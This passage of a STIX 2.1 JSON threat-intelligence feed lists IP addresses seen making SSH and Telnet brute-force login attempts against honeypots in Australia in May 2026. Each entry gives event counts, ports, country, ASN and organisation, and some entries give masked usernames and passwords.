      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--a0c4a182-acca-4324-9437-874902d77370",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.251.180.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--2adad580-48f8-4a86-a224-5dfd5cf2349c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.43.132.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 134090. Organisation(s): Leaptel.",
      "id": "indicator--524fc464-4ef3-49cf-b5db-bbe8ac3b3586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.106.88.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia.",
      "id": "indicator--9f071f9a-9a8e-453c-87cb-5b70aefa40e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.236.201.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--89f62eb1-563d-46c7-be77-b57faaaf7ee1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.131.100.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--66313e21-88a2-47b5-ae8a-cc580a965861",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.107.115.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264866. Organisation(s): Jurandir Vieira da Silva e CIA EIRELI.",
      "id": "indicator--58fc84ad-0d25-489d-a8ee-e9ae6af5903a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.205.221.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--29b48783-3796-497e-8568-0f82b270007e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.98.156.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): d**o, **, ***, w*****r. Passwords observed (masked): a******3, d******r, t******n, w*****r.",
      "id": "indicator--8c85fafd-3a56-4d42-ad58-bb9392884a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.98.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--35443ad1-02b2-41ad-9d8b-16f036a73a19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 10778. Organisation(s): MCL Internet.",
      "id": "indicator--54340f22-350c-460a-85e9-049af447ae69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.29.17.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 238. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--40432111-4d87-4d65-b9f4-36745bbca4f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.209.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T20:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 6878. Organisation(s): T-Systems International GmbH. Usernames observed (masked): u****u, a***n, t**t, r**t, t******r. Passwords observed (masked): 0******0, ***, 1****3, 1***5, 1******2.",
      "id": "indicator--e08e27db-9fdd-419d-82c1-89a7a69b5399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.158.109.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:15:29.000Z",
      "valid_until": "2026-06-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32181. Organisation(s): GigeNET.",
      "id": "indicator--15430ed4-4385-407d-9008-eb8800cbce6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.185.239.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--60152a68-fb75-44fe-af0a-325f11cfc1ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.235.16.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 20857. Organisation(s): Signet B.V..",
      "id": "indicator--fc31b342-6296-4687-847c-cddf3825b34d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.144.201.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264554. Organisation(s): CONECTE TELECOMUNICACOES LTDA.",
      "id": "indicator--4f38f537-c604-4715-9442-996631db8b80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.0.214.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--7c985cce-b36a-4684-9b43-9f8aac6246f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.154.159.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--a97990ea-2cb8-4b9c-8866-1e4515718515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.48.3.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262828. Organisation(s): Acesse Facil Telecomunicacoes Ltda.",
      "id": "indicator--4e39b57e-eba1-49f9-a190-a4622896405e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.155.195.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 204548. Organisation(s): Kamatera Inc. Usernames observed (masked): u****u, a***n, f*****r, u**r, 3**********4. Passwords observed (masked): 0****0, 1******., 3*****t, 3***********4, 3**********4.",
      "id": "indicator--4a73afe0-84d1-419c-9ff0-511100ed3881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.181.10.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--119b186d-a8c6-4b55-92a5-4aac6c10e141",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.75.19.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5aa54ed8-3e99-48d2-b599-306d8697f99a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 43641. Organisation(s): SOLLUTIUM EU Sp z.o.o..",
      "id": "indicator--519cd26f-5d7b-4fe7-a420-c53aec2ffadf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.86.126.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--d8c64e39-220a-44b0-9a88-8ca13daa93b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.41.188.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269730. Organisation(s): TECNOVEN SERVICES CA.",
      "id": "indicator--e96a61e1-45b0-46a0-9437-2fe1aa7a206e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.51.200.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--c73e2067-78e5-4ab5-947d-3defff0a7a3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.139.211.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 209302. Organisation(s): Bujar Shimaj.",
      "id": "indicator--b59ea6dc-7667-4e21-802a-ecbaf324db1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.209.250.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T21:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 21334. Organisation(s): One Hungary Ltd..",
      "id": "indicator--a3fc857f-6890-4715-bf42-2cd1d09fbe0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.132.208.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:15:17.000Z",
      "valid_until": "2026-06-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): p*******r. Passwords observed (masked): p*******r.",
      "id": "indicator--1c2ca2fa-62db-4f48-bcfc-94978d9f7292",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.26.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 23923. Organisation(s): Agni Systems Limited.",
      "id": "indicator--21fb99fe-88b6-4e50-9e6d-99bbbda90d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.148.49.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c4efd191-ee04-4877-8010-0c4378faac0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.122.206.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--df3a6cbc-de79-4321-b9f7-b25ff7d316be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.48.135.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GA. ASN(s): 16058. Organisation(s): Gabon-Telecom.",
      "id": "indicator--f4953723-72d0-4f23-b159-ea37975dfad3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.116.113.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--47a400b6-85af-4ee2-bf4a-582b39d460c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 18678. Organisation(s): INTERNEXA S.A. E.S.P.",
      "id": "indicator--a34e0344-e806-4bda-8d84-4bdd85972124",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.1.236.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
